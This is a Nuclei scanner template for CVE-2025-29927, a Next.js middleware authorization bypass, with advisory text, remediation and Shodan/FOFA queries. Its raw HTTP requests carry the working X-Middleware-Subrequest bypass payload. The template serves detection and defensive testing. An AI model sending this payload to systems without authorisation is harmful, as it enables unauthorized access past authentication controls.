Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
PoC代码[已公开]
id: CVE-2025-29927
info:
name: Next.js Middleware Bypass
author: pdresearch,pdteam,hazedic
severity: critical
description: |
Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
reference:
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
- https://slcyber.io/assetnote-security-research-center/doing-the-due-diligence-analysing-the-next-js-middleware-bypass-cve-2025-29927/
remediation: |
Upgrade to Next.js 14.2.25 or 15.2.3 or later.
If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
classification:
epss-score: 0.92084
epss-percentile: 0.99697
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cwe-id: CWE-287
metadata:
max-request: 1
shodan-query: "x-middleware-rewrite"
fofa-query: "x-middleware-rewrite"
product: next.js
vendor: zeit
tags: cve,cve2025,nextjs,middleware,auth-bypass,vkev
flow: |
let base_check = function () {
return http(1) && http(2);
};
let endpoint_check = function () {
if (!http(3)) return false;
for (let endpoint_urls of iterate(template.endpoints)) {
set("endpoints", endpoint_urls);
if (!(http(4) && http(5))) return false;
}
return true;
};
base_check() || endpoint_check()
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Nextjs-Data: 1
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite"
internal: true
- type: status
status:
- 307
internal: true
extractors:
- type: regex
name: redirect_path
part: header
regex:
- "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Nextjs-Data: 1
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
matchers:
- type: status
status:
- 200
- method: GET
path:
- "{{BaseURL}}"
redirects: true
extractors:
- type: regex
name: endpoints
part: body
group: 1
regex:
- "href=['\"](\\/[^\\.\"']+)['\"]"
internal: true
- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
matchers:
- type: dsl
dsl:
- contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
- contains_any(to_lower(location), 'unauthorized') && status_code != 200
internal: true
- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
headers:
X-Middleware-Subrequest: "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
matchers:
- type: dsl
dsl:
- status_code == 200
# digest: 4b0a004830460221008da18b85b5cb5764f81f0d94b9a62d5395fdccf50065de403e6520cbb6fb1df7022100d125f66922115f67793f164fdc0235972c53c23305a56a734590f22e86307244:922c64590222798bb761d5b6d8e72950